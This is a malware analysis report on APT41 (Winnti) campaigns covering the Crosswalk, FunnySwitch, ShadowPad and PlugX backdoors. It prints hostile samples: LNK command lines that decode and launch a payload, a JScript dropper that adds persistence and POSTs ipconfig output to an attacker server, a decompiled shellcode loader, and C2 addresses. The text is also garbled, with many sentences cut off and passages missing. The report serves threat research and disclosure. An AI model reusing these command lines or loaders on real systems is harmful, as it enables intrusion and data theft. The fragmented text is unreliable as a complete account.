Higaisa or Winnti? APT41 backdoors, old and new

PT EXPERT SECURITY CENTER 13 JANUARY 2021

The PT Expert Security Center regularly spots emerging threats to information security, including both previously known and newly discovered malware. During such monitoring in May 2020, we detected several samples of new malware that at first glance would seem to belong to the Higaisa group. But detailed analysis pointed to the Winnti group (also known as APT41, per FireEye) of Chinese origin. Subsequent monitoring led us to discover a number of new malware samples used by the group in recent attacks. These include various droppers, loaders, and injectors; Crosswalk, ShadowPad, and PlugX backdoors; and samples of a previously undescribed backdoor that we have dubbed FunnySwitch. We can confidently state that some of these attacks were directed at a number of organizations in Russia and Hong Kong.

In this article, we will share the results of our investigation of these samples and related network infrastructure, as well as overlaps with previously described attacks.

Contents

1. Higaisa shortcuts

(75cd8d24030a3160b1f49f1b46257f9d6639433214a10564d432b74cc8c4d020). The archive contains a bait PDF document (Zeplin Copyright Policy.pdf) plus the folder **All tort's projects - Web Inks** with two shortcuts:

- Conversations - iOS - Swipe Icons - Zeplin.lnk
- Tokbox icon - Odds and Ends - iOS - Zeplin.lnk

The structure of malicious shortcuts resembles the sample 20200308-sitrep-48-covid-19.pdf.lnk spread by the Higaisa group in March 2020.

```
/c copy "20200308-sitrep-48-covid-19.pdf.lnk" %tmp%\\g4ZokyumBB2gDn.tmp /y &
for /r C:\\Windows\\System32\\ %i in (*ertu*.exe) do copy %i %tmp%\\msoia.exe /y &
findstr.exe "TVNDRgAAAA" %tmp%\\g4ZokyumBB2gDn.tmp>%tmp%\\cSi1r0uywDNvDu.tmp &
%tmp%\\msoia.exe -decode %tmp%\\cSi1r0uywDNvDu.tmp %tmp%\\oGhPGUDC03tURV.tmp &
expand %tmp%\\oGhPGUDC03tURV.tmp -F:* %tmp%  &
wscript %tmp%\\9sOXN6Ltf0afe7.js
```

```
C:\Windows\System32\cmd.exe
/c  copy "Tokbox icon - Odds and Ends - iOS - Zeplin.lnk" %temp%\g4ZokyumB2DC.tmp /y &
 for /r C:\Windows\System32\ %i in (*ertu*.exe) do copy %i %temp%\gosia.exe /y &
 findstr.exe /b "TVNDRgA" %temp%\g4ZokyumB2DC.tmp>%temp%\cSi1rouy.tmp &
%temp%\gosia.exe -decode %temp%\cSi1rouy.tmp %temp%\o423DFDS.tmp &
expand %temp%\o423DFDS.tmp -F:* %temp% &
"%temp%\Tokbox icon - Odds and Ends - iOS - Zeplin.url" &
copy %temp%\3t54dE3r.tmp C:\Users\Public\Downloads\3t54dE3r.tmp &
Wscript %tmp%\34fDFkfSD32.js &
exit
```

FIGURE 1. COMPARING COMMAND LINES IN THE COVID-19 AND ZEPLIN SHORTCUTS

The mechanism for initial infection is fundamentally the same: trying to open either of the shortcuts leads to running a command that extracts a Base64-encoded CAB archive from the body of the LNK file, after which the archive is unpacked to a temporary folder. Further actions are performed with the help of an extracted JS script.

```
%temp%\\svchast.exe "C:\\Users\\Public\\Downloads\\officeupdate.exe" & schtasks /create /SC minute
/MO 120 /TN "Driver Bootser Update"  /TR "C:\\Users\\Public\\Downloads\\officeupdate.exe"',isHidden);
shell.Run('%temp%\\svchast.exe',isHidden)
WScript.Sleep(1000);
try {
    var fso = new ActiveXObject("Scripting.FileSystemObject");
    var txtfile = fso.OpenTextFile("C:\\Users\\Public\\Downloads\\d3reEW.txt",1);
    var fText = txtfile.Read(1000);
    txtfile.Close();
} catch(e){
    shell.Run('cmd /c dir ',isHidden=0);
}
try {
    var http = new ActiveXObject('Microsoft.XMLHTTP');
    var url = 'http://zeplin.atwebpages.com/inter.php';
    http.open('POST',url,false);
    http.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
    http.send('&test='+fText);
} catch(e){
        shell.Run('cmd /c dir ',isHidden=0);
}
```

FIGURE 2. CONTENTS OF SCRIPT 34FDFKFSD32.JS

But here is where the similarity with the sample described in our Higaisa report ends: instead, this script copies the payload to the folder C:\Users\Public\Downloads, achieves persistence by adding itself to the startup folder and adding a scheduler task, and runs the payload. The script also sends the output of ipconfig in a POST request to http://zeplin.atwebpages[.]com/inter.php.

The command run by the shortcut also contains the opening of a URL file extracted from the archive. The name of the URL file and the target address depend on which shortcut is opened:

- Conversations - iOS - Swipe Icons - Zeplin.url goes to:

  https://app.zeplin.io/project/5b5741802f3131c3a63057a4/screen/5b589f697e44cee37e0e61df

- Tokbox icon - Odds and Ends - iOS - Zeplin.url goes to:

  https://app.zeplin.io/project/5c161c03fde4d550a251e20a/screen/5cef98986801a41be35122bb

The payload consists of two files:

It functions as a simple local shellcode loader. The shellcode read from a fixed path. Before starting, the loader checks the current year: 2018, 2019, 2020, or 2021.

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // ecx
  HANDLE v5; // rax
  void *v6; // rsi
  DWORD v7; // edi
  void *v8; // rbp
  DWORD NumberOfBytesRead; // [rsp+70h] [rbp+18h]
  __time64_t Time; // [rsp+78h] [rbp+20h]

  time64(&Time);
  v3 = localtime64(&Time)->tm_year;
  if ( v3 != 118 && v3 != 119 && v3 != 120 && v3 != 121 )
    return 0;
  v5 = CreateFileA("C:\\Users\\Public\\Downloads\\3t54dE3r.tmp", 0xC0000000, 3u, 0i64, 3u, 0x80u, 0i64);
  v6 = v5;
  if ( v5 == (HANDLE)-1i64 )
    return 0;
  v7 = GetFileSize(v5, 0i64);
  v8 = VirtualAlloc(0i64, v7, 0x1000u, 0x40u);
  memset(v8, 0, v7);
  NumberOfBytesRead = 0;
  ReadFile(v6, v8, v7, &NumberOfBytesRead, 0i64);
  if ( v8 )
    ((void (*)(void))v8)();
  return 0;
}
```

FIGURE 3. MAIN FUNCTION IN SVCHAST.EXE

- 3t54dE3r.tmp

  The shellcode containing the main payload is the Crosswalk backdoor.

On May 30, 2020, a new malicious archive, CV_Colliers.rar (df999d24bde96decdbb65287ca0986db98f73b4ed477e18c3ef100064bceba6d), was detected.

PDF documents with a CV and IELTS certificate. Depending on which shortcut was opened, the

Note that all three intermediate C2 servers are on third-level domains on a free hosting service. When accessed in a browser, each displays a different decoy page:

FIGURE 4. PAGE AT ZEPLIN.ATWEBPAGES_COM

FIGURE 5. PAGE AT GOODHK.AZUREWEBSITES_NET

FIGURE 6. PAGE AT SIXINDENT.EPIZY_COM

These servers do not play a major role in the functioning of the malware; their precise purpose remains unknown. It may be that the malware authors used this to monitor the success of the initial stages of infection, or else tried to lead security teams "off the scent" by masking the malware as a more minor threat.

1.1 Attribution

These attacks have been studied in detail by Malwarebytes and Zscaler. Based on the similarity of the infection chains, researchers classify them as belonging to the Higaisa group.

However, detailed analysis of the shellcode demonstrates that the samples actually belong to the Crosswalk malware family. Crosswalk appeared no later than 2017 and was mentioned for the first time in a FireEye report on the activities of the APT41 (Winnti) group.

FIGURE 7. FROM THE FIREEYE REPORT

FIGURE 9. FRAGMENT OF NETWORK INFRASTRUCTURE

All this leads us to conclude that these LNK file attacks were performed by Winnti (APT41), which "borrowed" this shortcut technique from Higaisa.

1.2 Crosswalk

Crosswalk is a modular backdoor implemented in shellcode. The main component connects to a C2 server, collects and sends system information, and contains functionality for installing and running up to 20 additional modules received from the server as shellcode.

The information collected by the module includes:

- OS uptime
- Network adapter IP addresses
- MAC address of one of the adapters
- Operating system version and whether it is 32-bit or 64-bit
- Username
- Computer name
- Name of running module
- PID
- Shellcode version and whether it is 32-bit or 64-bit

(The shellcode supports both 32 and 64 bits.) It has two-part version numbers; we found ones including 1.0, 1.10, 1.21, 1.22, 1.25, and 2.0.

structure is as follows:

- Configuration size (4 bytes)
- Key (16 bytes)
- Encrypted configuration

The configuration, in turn, contains the following fields:

- 0x0 heartbeat interval (in seconds)
- 0x4 reconnect interval (in seconds)
- 0x8 bitmask for days of the week when connections may be made
- 0xC (inclusive) lower bound for time of day when connections may be made
- 0x10 (non-inclusive) upper bound for time of day when connections may be made
- 0x14 proxy port
- 0x18 proxy type
- 0x1C proxy host
- 0x9C proxy username
- 0x11C proxy password
- 0x19C number of C2 servers
- 0x1A0 array of structures of C2 servers

A C2 server structure consists of the following fields:

- 0x0 connection type
- 0x4 port

time match those allowed in the configuration. Then, one after the other, it tries combinations of

The communication protocol used between the backdoor and C2 server can be separated logically into two levels:

1. Application-level protocol
2. Transport-level protocol

On the application level, messages consist of the following fields:

- FakeTLS header consisting of 5 bytes:
  - Entry type and protocol version (3 bytes). For the client these always equal 17 03 01; for the server, they have random values.
  - Data length, not including header (2 bytes)
- Message contents:
  - Command ID (4 bytes, little-endian)
  - Command data size (4 bytes, little-endian)
  - Client ID (36 bytes), generated based on the UUID when the backdoor starts operation
  - Command data

The first two client–server and server–client messages have command IDs 0x65 and 0x64, respectively. They contain the data that will then be used to generate the client and server session keys. The key generation algorithm is detailed in a Zscaler report. For all subsequent messages, the content (not including the FakeTLS header) is transferred in the corresponding encrypted session key. AES-128 is the encryption algorithm used.

The transport-level protocol depends on the connection type indicated in the configuration. Four protocols are supported:

messages from the server to the client is sent as the body of an HTTP response.

FIGURE 10. FIRST HTTP CONNECTION WITH C2

After the correct response headers are received, the malware establishes a second connection to the same port, where a POST request is made. The header *dCy* is generated by the client based on the UUID and, it would seem, serves as the session ID that links the two connections. After receipt of a response with code 200, subsequent messages from the client to the server are sent using separate POST requests.

FIGURE 11. SECOND HTTP CONNECTION WITH C2

3. Duplication of socket with TLS connection

The client establishes a TCP connection and sends an HTTPS request like the following one:

```
GET /msdn.cpp HTTP/1.1
Connection: Keep-Alive
User-Agent: WinHTTP/1.1
Content-Length: 4294967295
Host: 149.28.152[.]196
```

The HTTPS connection is not used again. Subsequent messages are exchanged in the **original TCP connection (without TLS encryption)**. Subsequent communication between the client and server occurs via protocol 1, except for when, at the beginning of the session, the client sends two packets with the FakeTLS header, which starts with the sequence 17 03 01. The first packet always has length 0. The second has length 0x3A, 0x3C, 0x3E, or 0x40 and contains random bytes. We were unable to determine the purpose of these packets.

protocol data is added to application-level messages that are then sent as TCP segments.

FIGURE 13. CROSSWALK MESSAGE WITH KCP HEADERS (HIGHLIGHTED IN YELLOW)

Note that in the Crosswalk samples we detected, none of the samples used the KCP protocol in practice. But the code contains a full-fledged implementation of this protocol, which could be used in other attacks: the developers would simply need to set this connection type in the configuration.

The diversity of protocols and techniques would seem to protect the backdoor from network traffic inspection.

2. Loaders and injectors

Investigation of network infrastructure and monitoring of new Crosswalk samples put us onto the scent of other malicious objects containing Crosswalk shellcode as their payload. We can categorize these objects into two groups: local shellcode loaders and injectors. Some of the samples in both groups are also obfuscated with VMProtect.

2.1 Injectors

FIGURE 14. CODE FOR INJECTING SHELLCODE INTO A RUNNING PROCESS

The injectors contain typical code that obtains SeDebugPrivilege, finds the PID of the target process, and injects shellcode into it. Depending on the sample, explorer.exe and winlogon.exe are the target processes.

2.2 Local shellcode loaders

The main function of the malware is to extract shellcode and run it in an active process. The malware samples belong to one of two categories, based on the source of shellcode that they use: in the original executable or in an external file in the same directory.

Most of the loaders start by checking the current year, much like the samples from the LNK file attacks.

FIGURE 15. CODE OF THE LOADER'S MAIN FUNCTION

After the malware finds the API functions it needs, it decrypts the string Global\0EluZTRM3Kye4Hv65lGfoaX9sSP7VA with the ChaCha20 algorithm. In one older version, to prevent being run twice the loader creates a mutex with the name Global\5hJ4YfUoyHlwVMnS1qZkd2tEmz7GPbB. But in recent samples, the decrypted string is not used in any way. Perhaps part of the code was accidentally deleted during the development process.

Another artifact found in some samples is the unused string *CSPELOADKISSYOU*. Its purpose remains unclear.

FIGURE 16. STRING "CSPELOADKISSYOU" IN DATA SECTION

In the self-contained loaders, the shellcode is located in a PE file overlay. The shellcode is stored in a curious way: data starts from 0x60 bytes of the header, followed by the (encrypted) shellcode. The data length is stored at offset –0x24 from the end of the executable. The header always starts with the PL signature. The other header data is used for decryption: a 32-byte key is

structure of the PL shellcode: at offset 0x28, there are 32 bytes that are hashed with MD5 to obtain a cryptographic key.

FIGURE 18. HANDLING OF PL SHELLCODE IN THE LOADER BODY (AES-128)

Older loader versions use Cryptography API: Next Generation (BCrypt* functions) in an equivalent way. They use AES-128 in CFB mode as the encryption algorithm.

The loaders that rely on external files have a similar code structure and one of two encryption types: ChaCha20 or AES-128-CBC. The file should contain PL shellcode of the same format as in the self-contained loader. The name depends on the specific sample and is encrypted with the algorithm used in it. It can contain a full file path (although we did not detect any such samples) or a relative path.

FIGURE 19. BUILDING THE FILE NAME WITH PL SHELLCODE

Among all the loaders, we encountered three different shellcode payloads:

- Crosswalk
- Metasploit stager
- Cobalt Strike Beacon

2.3 Attack examples

2.3.1 An encrypted resume

This malicious file is a RAR archive, electronic_resume.pdf.rar

practically a copy of the latter.

FIGURE 21. CONFIGURATION OF COBALT STRIKE BEACON

The archive was distributed on approximately June 1, 2020, from the IP address 66.42.48[.]186 and was available at hxxp://66.42.48[.]186:65500/electronic_resume.pdf.rar. The same IP address was used as C2 server.

The modification time of the archive files, as well as the date on which the archive was found the server, point to the attack being active in late May or early June. The Russian filenames suggest that the targets were Russian-speaking users.

2.3.2 I can't breathe

The attack is practically identical to the previous one: malware is distributed in a RAR archive video.rar (fc5c9c93781fbbac25d185ec8f920170503ec1eddfc623d2285a05d05d5552dc) and consists of two .exe files. The archive is available on June 1 on the same server at the address hxxp://66.42.48[.]186:65500/video.rar.

FIGURE 22. CONTENTS OF VIDEO.RAR

The executable files are self-contained loaders of Cobalt Strike Beacon PL shellcode with a similar configuration and the same C2 server.

The bait is notable for the topic: the hackers were attempting to exploit U.S. protests related to the death of George Floyd. The main bait was a video with the name "I can't breathe-America's Black Death protests that the riots continue to escalate and ignite America!.mp4" involving reporting on protests in late May, 2020. Judging by the logo, the source of the video was Australian portal XKb, which releases news materials in Chinese.

identical executable files with names resembling "запись чата-1.png_____.exe" ("chat transcript-1.png_____.exe") in attacks again targeting Russian-speaking users.

FIGURE 24. CONTENTS OF THE ARCHIVE, THE NAME OF WHICH PROMISES A "CHAT TRANSCRIPT"

The malicious files are self-contained PL shellcode loaders, but the payload here is Crosswalk version 2.0.

Its configuration implies three ways to connect to the C2 server at 149.28.23[.]32:

- Transport protocol 3, port 8443
- Transport protocol 2, port 80
- Transport protocol 1, port 8080

FIGURE 25. FRAGMENT OF THE CROSSWALK CONFIGURATION

3. Attacks on Russian game developers

The Winnti group first became famous for its attacks on computer game developers. Such attacks continue today, and Russian companies are also among their targets.

3.1 Unity3D Game Developer from St. Petersburg

The CV contains plausible contact information, with a St. Petersburg address, email address ending with "@yandex.ru", and phone number starting with "+7" (Russia's country code). The only obviously fake aspect is the phone number: 123-45-67.

FIGURE 26. RESULT OF OPENING THE CHM FILE

The PDF file opens due to the script pass.js, which is contained in the CHM file and referenced in the code of the HTML page.

FIGURE 27. REFERENCE TO PASS.JS IN HTML CODE

The script uses a technique for running an arbitrary command in a CHM file via an ActiveX object. This unpacks an HTML help file to the folder C:\Users\Public for launching the next stage of the infection: the file resume.exe, which is also embedded inside the CHM file.

FIGURE 28. DEOBFUSCATED SCRIPT PASS.JS

resume.exe is an advanced shellcode injector of which we had encountered only one sample as of the writing of this article. Before it gets down to business, this malware, like many other samples we have seen from Winnti, checks the current year. Current processes are checked and the malware will not run if any of the following are active: ollydbg.exe|ProcessHacker.exe|Fiddler.exe|windbg.exe|tcpview.exe|idaq.exe|idaq64.exe|tcpdump.exe|Wireshark.exe.

On first launch, shellcode will be taken from MyResume.pdf; on subsequent launches, winness.config is the shellcode source.

Compared to the PL shellcode, the data structure is more complex and contains the following:

- ROR-13 hash of data starting from byte 0x24 (0x20, 4 bytes)
- Nonce for algorithm ChaCha20 (0x24, 12 bytes)
- ChaCha20-encrypted text (0x30):
  - Name of PDF file (+0x0)
  - Size of PDF file (+0x20)
  - Size of auxiliary shellcode (+0x24)
  - Size of main shellcode (+0x28)
  - Constant 0xE839E900 (+0x2C)
  - PDF file
  - Auxiliary shellcode
  - Main shellcode

On first launch of resume.exe, the encrypted portion of the data is decrypted (the key is hard-coded in the executable) and three sections are extracted (PDF, auxiliary shellcode, and main shellcode). The PDF file is saved with a name resembling _797918755_true.pdf in a temporary folder. It then opens for the user (the second window in the screenshot on Figure 26, next to HTML Help).

FIGURE 31. RESUME.EXE: ACTIONS ON FIRST LAUNCH

The payload runs in a new process %windir%\System32\spoolsv.exe, into which the main shellcode is injected: Cobalt Strike Beacon with C2 address 149.28.84[.]98.

%appdata%\Microsoft\Addins\ and the main shellcode is re-encrypted and saved in the same

this stage, the auxiliary shellcode is injected in a similar way into spoolsv.exe, independently loads the necessary functions, and writes to file in a separate thread.

When winness.exe runs after a restart, the main shellcode is decrypted from winness.config and injected into spoolsv.exe in exactly the same way.

3.2 HFS with a surprise

FIGURE 32. HFS SERVER ON WINNTI INFRASTRUCTURE

On June 23, 2020, while investigating Winnti network infrastructure, we detected an active HttpFileServer on one of the active C2 servers. Four images were there for all to see: an email icon, screenshot from a game with Russian text, screenshot of the site of a game development company, and a screenshot of information about vulnerability CVE-2020-0796 from the Microsoft website.

FIGURE 33. 13524222881554126454-128.PNG

FIGURE 34. EAVPPBNXGAE8S3R.JPG

FIGURE 35. WEBSITE_BATTLESTATEGAMES.PNG

FIGURE 36. WINDOWS_UPDATE.PNG

The screenshots related to Battlestate Games, the St. Petersburg-based developer of *Escape*

We discovered that the main domain facebookdocs[.]com hosted a copy of the official site of Battlestate Games: www.battlestategames.com. Via an associated C2 IP address (108.61.214[.]194), we found an equivalent page on the phishing domain www.battllestategames[.]com (note the double "l").

FIGURE 37. COPY OF THE OFFICIAL BATTLESTATE GAMES SITE

When used as C2 servers, such domains give attackers the ability to mask malicious traffic as legitimate activity within the company.

The combination of these two finds makes us think that we detected traces of preparation for, and subsequent successful implementation of, an attack on Battlestate Games.

Moreover, the match between the job listing for Unity3D developer (as seen in the screenshot from the official site) and contents of the curriculum vitae in the file CV.chm (as described in the previous section), considering how closely they matched in time as well as the company and "applicant" both being located in St. Petersburg, suggests a connection between these attacks. Most likely, the CHM file attack was used at the beginning stage of the breach, although we do not have solid confirmation for this.

Use of typosquatting domains for C2 servers is typical of Winnti and has been described in a Kaspersky report.

Battlestate Games received all of the information uncovered by our investigation into the suspected attack.

4. A purloined certificate

```
Issuer:          GlobalSign CodeSigning CA - SHA256 - G2
Valid From:      07:43 AM 08/20/2015
Valid To:        07:43 AM 09/19/2016
Valid Usage:     Code Signing
Algorithm:       sha256RSA
Thumbprint:      91e256ac753efe79927db468a5fa60cb8a835ba5
Serial Number:   112195a147c06211d2c4b82b627e3d07bf09
```

The files signed with it were predominantly used in attacks on organizations in Hong Kong. They include Crosswalk and Metasploit injectors, the juicy-potato utility, and samples of FunnySwitch and ShadowPad.

5. FunnySwitch

Among the files signed with the Zealot Digital certificate, we discovered two samples of malware containing a previously unknown backdoor. We have called it FunnySwitch, based on the name of the library and one of the key classes. The backdoor is written in .NET and can send system information as well as run arbitrary JScript code, with support for six different connection types, including the ability to accept incoming connections. One of its distinguishing features is the ability to act as message relay between different copies of the backdoor and a C2 server.

5.1 Unpacking

The attack in question starts with the SFX archive x32.exe (2063fae36db936de23eb728bcf3f8a5572f83645786c2a0a5529c71d8447a9af).

FIGURE 38. CONTENTS OF THE ARCHIVE X32.EXE

XML configuration. In one case, the proxy server 168.106.1[.]1 is specified there in addition:

```
    <HttpConnector url="http://db311secsd.kasprsky[.]info/config/" proxy="ht
</Config>
<?xml version="1.0" encoding="utf-8"?>
<Config Group="aa" Password="test" StartTime="0" EndTime="24" WeekDays="0,1,
    <HttpConnector url="http://db311secsd.kasprsky[.]info/config/" interval=
</Config>
```

A subdomain of kasprsky[.]info, db311secsd.kasprsky[.]info, is the C2 domain. Interestingly, several of its other subdomains are mentioned in an FBI report. It dates to May 21, 2020, and warns of attacks on organizations linked to COVID-19 research.

The job of the shellcode is to launch and execute a method from the .NET assembly located immediately after its code. To do so, it gets a reference to the ICorRuntimeHost interface, which it uses to run CLR and create an AppDomain object. The contents of the assembly are loaded into the newly created domain. Reflection is used to run the static method Funny.Core.Run(xml_config), to which the XML configuration is passed.

FIGURE 39. CALLING A METHOD FROM THE .NET ASSEMBLY

The assembly is the library Funny.dll with obfuscation by ConfuserEx.

5.2 Funny.dll

The backdoor starts by parsing the configuration. Its root element may contain the following fields:

- Debug is the flag for enabling debug logging
- Group is an arbitrary string sent together with system information.

The

element may contain an arbitrary number of elements describing various types of connectors:

- TcpConnector and TcpBindConnector are classes responsible for connecting over TCP as client and server.

  They have two parameters in common:

  ```
  address
  ```

  and

  ```
  port
  ```

  (by default, 38001). TcpConnector also has the

  ```
  parameter
  ```

  interval, which indicates how long to wait before trying to reconnect.

- HttpConnector and HttpBindConnector are HTTP client with support for proxy and HTTP server.

  Supported client parameters:

  ```
  url
  ```

  – address to connect to,

and

```
cred
```

– proxy server address and credentials. Server parameters:

```
url
```

– list of prefixes on which it will run and

```
timeout
```

– client timeout.

The standard classes HttpWebRequest and HttpListener from .NET Framework are used for client and server implementations. Both HTTP and HTTPS are supported: if no SSL certificate is configured for the port on which the server is running, it will be launched with CN =

```
Environment.MachineName + ".local.domain"
```

. The client, in turn, ignores certificate validation.

- RPCConnector and RPCBindConnector are classes that allow setting up a connection via a Named Pipe. They take a single parameter,

```
name
```

FIGURE 40. CODE FOR ADDING WINDOWS FIREWALL RULES

Just like with Crosswalk, there are multiple levels of the protocol: in this case, transport, network, and application.

5.2.1 Transport protocols

1. TCP

TCP supports three types of messages: PingMessage (0x1), PongMessage (0x2), and DataMessage (0x3). The first two monitor the connection and are relevant only at the TcpConnector/TcpBindConnector level. DataMessage contains network-level data.

Messages consist of a signature (4 bytes), encrypted header (16 bytes), and optional data.

The signature is three random bytes followed by their sum with modulo 256. Incoming messages with an invalid signature are discarded.

The header contains the data size (4 bytes) and byte indicating the message type (0x1, 0x2, or 0x3).

It is encrypted with AES-256-CBC; the key and IV are taken from the MD5 of the key string. The backdoor uses this encryption method in other cases as well, which is why we refer to it as "standard" in the text that follows. The key string in this case is "tcp_encrypted".

FIGURE 41. STANDARD ENCRYPTION IN FUNNYSWITCH

2. HTTP with long polling

There are three types of requests: GET "connect", GET "pull", and POST "push". To start

with the key "http".

seconds, an empty response. Client–server messages are periodically sent as an array as well, for which a POST request with push operation is used.

FIGURE 42. FUNNYSWITCH CONNECT AND PULL REQUESTS

The special class MsgPack class, which implements a custom serialization protocol, unpacks the array and other primitive types.

3. RPC (Pipe)
Similar to TCP, except for the absence of connection monitoring.

5.2.2 Network-level protocol

FIGURE 43. FUNCTION FOR PROCESSING INCOMING NETWORK-LEVEL COMMUNICATIONS

All messages at this level are encrypted in the backdoor's standard way, with the key string "commonkey".

Messages are an array of three or four elements:

- Message type ("hello_request", "hello_response", "message", "error")
- Source serialized array
- Destination serialized array
- Payload (application-level data)

The *MsgPack* class is also used for serialization. The Source and Destination arrays contain the IDs of the relays through which the message has already passed and the IDs of the routers through it should be delivered to the recipient.

be handled locally; if not, it will be sent to the next relay in the list. For connecting to the next instance, it uses the connector that was saved when exchanging hello_request and hello_response messages.

The backdoor collects the following system information:

- Values of the registry keys ProductName and CSDVersion from HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion
- Whether the OS is 32-bit or 64-bit
- List of IP addresses
- Computer name
- Username and workgroup
- Name of running module
- PID
- MAC addresses of network adapters
- Value of the Group attribute in the XML configuration

5.2.3 Application-level protocol

At the application level, data is encrypted in the standard way using the value of the Password attribute from the configuration. If no such value exists, the key string is "test". Data is compressed with GZip prior to encryption.

After decryption and decompression, the payload is an array (packed *MsgPack*) consisting of one or two elements: a string with the name of a command and optional array of bytes (data for the command). These elements, in turn, contain another serialized array, which contains a message string ID (which will be used to send the result of the command) plus the data for the command.

invoke	out into a JSCore .NET assembly, which is dynamically loaded from a Base64 constant defined in the main assembly. FIGURE 44. LOADING THE FUNNY.EVAL CLASS FROM THE JSCORE ASSEMBLY Code execution is accomplished with classes from the Microsoft.JScript namespace. FIGURE 45. CODE FRAGMENTS FROM THE FUNNY.EVAL CLASS
connect	Takes an XML string with connector configuration and creates the corresponding object.
update	Packs a response containing the IDs of relays connected to the current copy, together with their system information.
query	Collects the configuration of active connector instances other than the RPCConnector and RPCBindConnector classes.
remove	Removes the specified connector.
createStream	Creates a message queue with the indicated name. The queue connects with the sender of the createStream command.

5.2.5 Unused code

By all appearances, the FunnySwitch backdoor is still under development, as shown by the incomplete state of message queue functionality. Besides the commands described here already, the code contains the functions PullStream and SendStream, which are not used anywhere. The first extracts a message from the queue (by queue name), while the second sends its creator an arbitrary set of bytes with the stream-data command.

The code also contains several unused classes: an implementation of the KCP protocol, limited-size queue SizeQueue, and string serializer StreamString.

FIGURE 46. FRAGMENT OF KCP CLASS CODE

5.2.6 FunnySwitch vs. Crosswalk

Based on investigation of the two backdoors, we believe that they were written by the same developers. Several things point at common authorship:

- Use of multiple transport protocols
- Support for specifying a proxy server
- Identical configuration restrictions on time of day and days of the week
- Implementation of the KCP protocol
- Implemented (and disabled by default) logging of debug messages and errors

During the investigation we also discovered two samples containing ShadowPad malware.

The first of these is the SFX archive 20200926__Request for wedding reception.exe (03b7b511716c074e9f6ef37318638337fd7449897be999505d4a3219572829b4).

FIGURE 49. CONTENTS OF THE ARCHIVE 20200926__REQUEST FOR WEDDING RECEPTION.EXE

For bait, it contains a Chinese-language Microsoft Word document with the text of a wedding banquet form.

FIGURE 50. BAIT FILE WEDDING.DOCX

The archive contents are unpacked to the folder c:\programdata, from where (besides the bait file being opened) the payload log.exe is launched.

Both the executable file and the DLL library are obfuscated with VMProtect, but we also found identical unprotected versions (as shown in the following screenshots).

An unpacked legitimate component of Bitdefender (386eb7aa33c76ce671d6685f79512597f1fab28ea46c8ec7d89e58340081e2bd) serves as log.exe. It dynamically loads the library log.dll.

FIGURE 51. LOADING LOG.DLL IN LOG.EXE

The library, in turn, when loaded checks for whether the current module contains a certain set of bytes at offset 0x2775. If the loading module meets its expectations, these bytes change to a call instruction for a DLL function. As a result, in log.exe right after log.dll loads, a call is made to the

In our case, the code run afterwards had been obfuscated with a new approach: all functions are split into separate instructions that shuffle between each other. Jumps between instructions occur by means of calls to a special function (rel_jmp), which emulates the jmp command. The offset at which the jump occurs is written immediately after a call instruction (see the following figure).

FIGURE 53. STRUCTURE OF OBFUSCATED CODE

In addition, to obfuscate the control flow in the code, conditional jumps that never run are included as well:

```
cmp     esp, 3181h
jb      loc_1000BCA9
```

The obfuscated code is the loader for the subsequent shellcode, which is encrypted in the file log.dll.dat. After decryption, the file is deleted and the shellcode is re-encrypted, saved in the registry, and run. When log.exe is launched subsequently, the shellcode will be loaded from the registry.

The data is stored in a hive with a name resembling the following: (HKLM|HKCU)\Software\Classes\CLSID\{%8.8x-%4.4x-%4.4x-%8.8x%8.8x}, in key %8.8X. The values inserted in the formatting strings are generated based on the TimeDateStamp in the PE header of log.dll, and therefore are always identical for any given library copy. In our case, they equal {56a36bd2-5e2b-20b0-96f2cb9bb3f43475} and EB5D1182, respectively.

The payload is ShadowPad shellcode that has been obfuscated with the same rel_jmp and fake-jb techniques. The following strings are contained in its encrypted configuration:

```
log.dll.dat
```

```
WMNetworkSvc
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
WMSVC
%ProgramFiles%\Windows Media Player\wmplayer.exe
%windir%\system32\svchost.exe
%windir%\system32\winlogon.exe
%windir%\explorer.exe
TCP://cigy2jft92.kasprsky.info:443
UDP://cigy2jft92.kasprsky.info:53
SOCKS4
SOCKS4
SOCKS5
SOCKS5
```

They include the likely data of module assembly (June 6, 2020), name of the service used by the malware to gain persistence on the system (WMNetworkSvc), names of processes into which shellcode can be injected, and the C2 domain cigy2jft92.kasprsky[.]info.

As we wrote earlier, the other domain kasprsky[.]info has been used by attackers as a FunnySwitch C2 server. Investigation of subdomains and IP addresses yields another second-level domain, livehost[.]live, whose subdomain d89o0gm35t.livehost[.]live is indicated as a C2 server in one copy of Crosswalk (86100e3efa14a6805a33b2ed24234ac73e094c84cf4282426192607fb8810961). Moreover, all samples of these backdoors were signed with the stolen Zealot Digital certificate and were likely used together as part of a single campaign.

This is not the only example of a connection between the Crosswalk and ShadowPad network infrastructures. Two Crosswalk C2 servers we found, 103.248.21[.]134 and 103.248.21[.]179, contained an SSL certificate with SHA-1 value of b1d749a8883ac9860c45986e2ffe370feb3d9ab6. The same certificate was noted at IP address 103.4.29[.]167, which via the domain update.ilastname[.]com was used as a C2 server for another

The SSL certificate pointed us to another C2 server, with the domain ns.mircosoftbox[.]com.

We found that this C2 server is used by an interesting copy of the PlugX backdoor. Its core is typical of PlugX, being an SFX archive (ccdb8e0162796efe19128c0bac78478fd1ff2dc3382aed0c19b0f4bd99a31efc) that contains the library mapistub.dll, which loads as a legitimate executable.

FIGURE 55. PLUGX SFX ARCHIVE

But mapistub.dll is only a downloader. Google Docs is used to store the payload: the library sends a request to export a certain document in .txt format, decodes it into shellcode with Base64, and runs it.

FIGURE 56. LOADING AND RUNNING SHELLCODE IN MAPISTUB.DLL

The shellcode has been obfuscated with junk instructions and inverted conditional jumps (combinations of jle/jg and the like). Its job is to decrypt and run the next stage, which is responsible for reflective loading of the main PlugX component and passing the structure with the configuration to it.

FIGURE 57. OBFUSCATED SHELLCODE FROM GOOGLE DOCS

This process and what the similar sample does after that are described in more detail in a report from Dr.Web (QuickHeal shellcode and BackDoor.PlugX.28).

Besides the C2 servers in the configuration file, 103.79.76[.]205 and ns.mircosoftbox[.]com, in our case the attackers also used a technique typical of PlugX for getting a C2 server at a specified

d68d34331440.mircosoftbox[.]com and, apparently, had been put in place by the attackers.

A similar technique has been used by Winnti in the past: according to Trend Micro, an encoded C2 address was stored in GitHub repositories in 2017.

7.1 Paranoid PlugX

We were able to detect an additional copy of PlugX that contained shellcode fully identical to that downloaded from Google Docs, except for the encrypted configuration.

